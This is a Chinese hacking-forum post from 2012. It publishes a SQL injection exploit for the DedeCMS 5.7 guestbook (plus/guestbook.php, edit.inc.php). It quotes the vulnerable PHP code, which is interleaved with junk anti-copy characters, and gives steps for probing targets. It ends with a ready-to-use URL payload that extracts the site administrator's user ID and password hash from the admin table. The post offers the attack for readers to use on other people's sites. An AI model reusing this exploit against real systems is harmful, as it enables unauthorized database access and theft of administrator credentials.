找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3843|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
, a# P+ g; ~' d8 [5 _: K' s( I, ]5 S* V8 S
漏洞文件edit.inc.php具体代码:- l8 h8 M7 o. g# q; I) T1 F. _
; k; G( }: \  _( R" M3 |; z
< ?php  
9 d9 T% x5 c! W) X" Q" o$ d- m* w4 C
if(!defined('DEDEINC')) exit('Request Error!');    D& t7 M' K, K( ]2 A

: L# ]+ h6 v$ v8 n: }6 x   
- a6 c/ ?- m8 b* E
: Y3 ^2 G) D3 `5 ^7 ^' E5 Kif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
; T3 F# {: y' z
/ K2 {# l5 e+ b! A6 j2 qelse $GUEST_BOOK_POS = "guestbook.php";  / ^! [$ Q  F0 S& [
2 U7 H1 P! W0 X
   
' @6 U; y' r. l5 v  o2 [9 D$ v
9 M: p* `& U3 V; c2 u$id = intval($id);  ' {7 D% h$ E+ U0 y- Y, x3 n

% l. ?- K& I- }; x( uif(empty($job)) $job='view';  
, h5 g% ^5 O# X* Y% k. u: ?7 p, h/ |8 t- H( k* f8 _' \
   1 }2 K5 F; B! b7 O; V9 K. b
) C, q; ?: z, `6 u7 c1 a; f
if($job=='del' && $g_isadmin)  
7 Z+ A3 R3 X; @6 n! e7 e+ [
; R% i- L9 b/ h% e$ _{  + Q, Z# w' V' g9 X" y5 `

0 J" d( m% h' o) C! s$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  & L: j! ]2 W. o
+ Y3 G0 k; @1 b2 }4 I( b) D$ R( ~
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
3 C9 O' w$ M- b5 L# H4 q, {  i- B1 c
exit();  
' H) ~) h! ~! T% W! d2 g; B# G2 k/ j- e, c1 [  }* K
}  8 ]7 T4 u! e% P/ ^- m  ?2 V- s6 v

2 v; x9 D% E' B' U; W' relse if($job=='check' && $g_isadmin)  8 i6 Y, z3 i& G& h8 f& |; w; ^

& A1 M4 q7 o6 N{  9 M3 U- s( d7 R9 O( ?$ S; [) u4 k, Z
- k% m( H9 C! K/ h! v- h
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  - L$ |! l  O' Y8 m# C

) j7 P4 k! h; S* r0 d8 _ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
; E# g; A8 X: ]9 L3 }
* ]( a* @- E( e; kexit();  # d1 x/ U, z' _  D; n
) i4 B: S2 T8 X5 |$ U; U2 f
}  
* P% e8 l- U, D4 `. b1 N) h' _& m+ q' _1 u$ J& I6 H% K9 k
else if($job=='editok')  
- H9 m* E9 O3 e+ C+ L& I, D) Z( |& D: Y/ e9 S
{  0 Q4 Z" S! Y# A4 A# b

  D2 V: p1 l4 }+ s1 k" s: C$remsg = trim($remsg);  
; O- u8 ]  V7 l. o' e- i; \% Q' l1 N' K
if($remsg!='')  4 @/ E+ {  j* v% B) b: j. {
  m$ u( E8 U$ _5 R+ ?
{  
3 m+ C$ e6 B# n2 u( c& Y- {+ K7 M! {! f; O
//管理员回复不过滤HTML By:Errorera blog:errs.cc  ; ?5 t5 p1 b0 s$ C
/ W  H+ o: [1 t5 B% B3 e2 y! `) D
if($g_isadmin)  0 d1 {  T  R* u

4 M, w' L$ g7 {2 p3 [6 i{  
3 G+ g/ O% f' f' w4 Q8 M1 |1 s; S0 |5 c/ ^) v# w/ K
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  8 }5 z  f/ c7 m! w5 u

# _! @/ N* A) d6 R! X/ N/ N//$remsg <br /><font color=red>管理员回复:</font> }  % b( W, l" h- |7 I) Z4 @! j1 W
) [! X6 N8 x. M: E1 {
else ! n5 ]+ D3 n; X9 R; k
# x: p( m0 n' U7 s& R2 k
{  7 v* L+ ~  T9 [7 a" p+ C/ L  ?
0 g6 G3 j9 t3 z+ o4 ]% E( j
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  ( \9 V3 z' V; u4 K' c
7 T3 e/ f* y* y1 E' @  @" J% d* A
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
( S! M. u+ P, G7 q+ G% ~5 j: o
* E# q) V- }# ]1 T2 t! p; }$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  . k4 k! z9 Q: q# T8 v5 O! ~

% M6 ^' N6 m- S3 c$msg = $oldmsg.$remsg;  . ?) ]) T. s, n5 |# ^+ W
7 f- c# t0 H+ T7 f: m* Z' f5 ^* S
}  
' b$ ?) T% r, |- a8 M' x
; ^* L4 ]1 F- Z) ?0 i}  
) M) R' e" U* L" y  e
; h6 b1 u* s) z- Z* d//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
3 e5 s. W3 a4 I1 P9 M! ~" e
" l9 z  ]3 H! _. v( h: z8 [% G$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
$ _! J$ t9 h% h2 b6 Y2 w/ G. P& f: f: ]3 Y
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  ! }8 ]& R( i7 f" W/ i) W: V1 g/ l

! |4 t/ R0 H  A& j+ [exit();  
5 Z3 D  f3 w/ _" m
: E3 k, `6 y( D, ]}  
3 }0 H, s/ t: f' `
+ ]5 S9 E( u* v/ |; A//home:www.errs.cc  
2 x0 {( W1 S( J. f) E, r  }
8 i! v4 Z6 r- p7 i- z& ?: H$ i5 N2 vif($g_isadmin)  5 l9 D4 i7 L$ M& e- R9 _( Y
% |$ Q- T8 N/ q
{  
/ p  j* w/ e+ B6 V( p. l2 D& s- Q% s2 C  s/ y
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
( i; B) t# g& r* {* M
( h! e3 O# T3 V. @require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
( H. J1 K9 I" y" r9 @6 N; _/ k# _- y7 O; A# ]' Y, i! {8 i
}  3 b1 [5 u6 X# d2 o2 }' X$ I/ L

" o. P! e3 B" ~* j8 ?else
1 L3 i1 f0 f$ |+ E( ]5 S8 ^6 S/ o  H5 ^4 d. M! @( q0 X
{  
* ^* _5 Q* [, e" B7 u2 z# z
& n8 v" x/ y8 c: @: a$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
4 t  u: h9 `5 |+ I- R, r" g0 ?  \; `3 S# O. W$ }, T
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  $ F4 {4 o" T  m3 R* e2 H7 p; H( T

* N& ]  H3 Y, ~} 漏洞成功需要条件:+ G5 C/ p; M8 }. k) D; T2 x" f
1. php magic_quotes_gpc=off
8 o3 N1 ~2 n4 V: C3 D0 @: l8 n2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。# f6 H) K* B! E# y3 ?. d- d! m' `

5 m1 c: o& v- J怎么判断是否存在漏洞:
0 N5 \4 ]4 V5 q2 n( L- g' \1 F9 {先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,1 m% X5 C% X  f" H4 G0 ^/ H3 I) s( u
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
- n/ Z! C& ^8 q6 W  w/ ~; p! G访问:, U9 W5 ^( ^* Q3 [" z! \

( D% x* e6 A/ Y- T6 B. _/ zwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了' @9 C! P& j& I5 J7 i  {# E
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证# L5 }, I5 x" s: j: h5 z

% q# u' X3 s$ I0 e3 I: G& ?1 u5 c$ w8 K
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
6 }% G( a  b8 R- L9 A, m如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。0 m( N4 j1 Y( Y) \) K; ^3 e" Q% ?
那么再次访问" J0 \) i7 Z8 l% _/ A7 z# f3 {

2 ^6 |3 V% m' S! Twww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
7 Y  E8 Q1 k; O' }
; J5 p1 d5 q! M6 Y* ]3 A大概利用就是这样,大家有兴趣的多研究下!!7 H& Z" Y5 H- z* A

  C4 D" j3 L6 ^6 F最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!: _% M5 y6 Q& D) l  x: y) V4 [
, E! x. m0 g1 V$ D$ Z& {
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表